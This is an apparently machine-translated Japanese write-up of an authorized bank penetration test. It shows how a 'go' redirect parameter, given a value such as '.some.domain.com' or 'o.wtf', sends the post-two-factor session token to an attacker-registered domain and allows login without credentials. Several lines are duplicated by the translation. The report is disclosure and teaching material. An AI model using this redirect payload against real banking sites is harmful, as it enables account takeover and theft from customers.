私はこの銀行と脆弱性を検索することで合意し、私の行動はすべて承認されました。 その夜、私はすでに多かれ少なかれ重大な脆弱性を探すのにかなりの時間を費やし、価値のあるものを見つけることなく、すでに必死でした。 しかし、その後、承認時にサーバーへの一連の要求の1つのパラメーターをキャッチしました。 ちなみに、この銀行は高度で信頼性の高い認証技術、つまりSMSを介した2要素認証を使用していました。 だから、私が気づいたGETリクエストパラメータは次のように見えました：
go=/path/to/some/page
go=/path/to/some/page
さらにリダイレクトするためにサーバー側で形成されます。 しかし、問題はリダイレクトパスが相対的であり、サイトのドメインに追加されたため、以前の調査ではこの要求を無視していました。 さらに、潜在的な脆弱性が存在するために、次のような多くの要因が発生する必要がありました。
1）。
go
パラメーターの値を使用する可能性
go
サードパーティドメインへのリダイレクトを提供する
2）。 クライアントでこのパラメーターの値を設定する機能
3）。 そして最後に、承認後、サードパーティのドメインにリダイレクトするときに、いくつかの貴重な情報を送信する必要があります
その結果、結果をほとんど期待せずに、潜在的な脆弱性を悪用する方法を探し始めました。
少し考えて、上記の3つのタスクの最初の解決策を見つけました。 読者もこの問題について考えることをお勧めします。 一見すると、相対パス
/path/to/some/page,
/path/to/some/page,
サイトドメインに追加されます
internet-bank.com
結果は住所です
internet-bank.com/path/to/some/page.
サードパーティドメインでURLを生成するにはどうすればよいですか？ 誰でも推測した人は、自分自身に迅速な知恵を与えることができます。 答えを知りたい人は、読んでください。 したがって、代わりに
/path/to/some/page
/path/to/some/page
.some.domain.com,
追加し
.some.domain.com,
.some.domain.com,
ビューをリダイレクトするリンクを取得します
internet-bank.com.some.domain.com
したがって、上記の3つの項目の最初の項目が完成し、ユーザーをリダイレクトする可能性のあるサードパーティドメインの名前を作成しました。 あと2点残っています。
ポイント2を満たすために、私はアドレスからインターネット銀行にログインしようとしました
internet-bank.com,
そして
internet-bank.com?go=/path/to/some/page.
そして、見よ、サーバーは二要素認証を実行し、最終的にアドレスにリダイレクトされました
internet-bank.com/path/to/some/page/?token=37C853F2CA868D819BD9514C3CCEB,
それから
internet-bank.com/path/to/some/page.
ログインしてアドレスから認証するだけです
internet-bank.com?go=.some.domain.com.
これを行った後、私はアドレスにスローされました
internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB,
internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB,
なので、ステップ3が自動的に実行されます。 このトークンが承認中のリダイレクトで使用された理由、私はまだ理解していませんでしたが、最終的にリンクする機会がありました
internet-bank.com?token=37C853F2CA868D819BD9514C3CCEB
ログイン、パスワード、SMSを入力せずに任意のコンピューターからログインします。
ミッションが完了しました。
次は？
como.wtf
、第2レベルのドメイン、たとえば
como.wtf
を登録し、インターネット上でリンクを配布します
internet-bank.com?go=o.wtf
認証トークンを送信することにより、インターネット銀行の他の人のアカウントにアクセスできます
internet-bank.como.wtf
その結果、他人のアカウントを盗むためには、インターネットバンキングサイトの完全に安全なアドレスに悪意のあるコードを9文字だけ追加するだけで済みます。 「？Go = o.wtf」
そして私自身のために、次の結論を出しました。潜在的な脆弱性が存在する可能性がわずかでもある場合、それを排除する必要があります。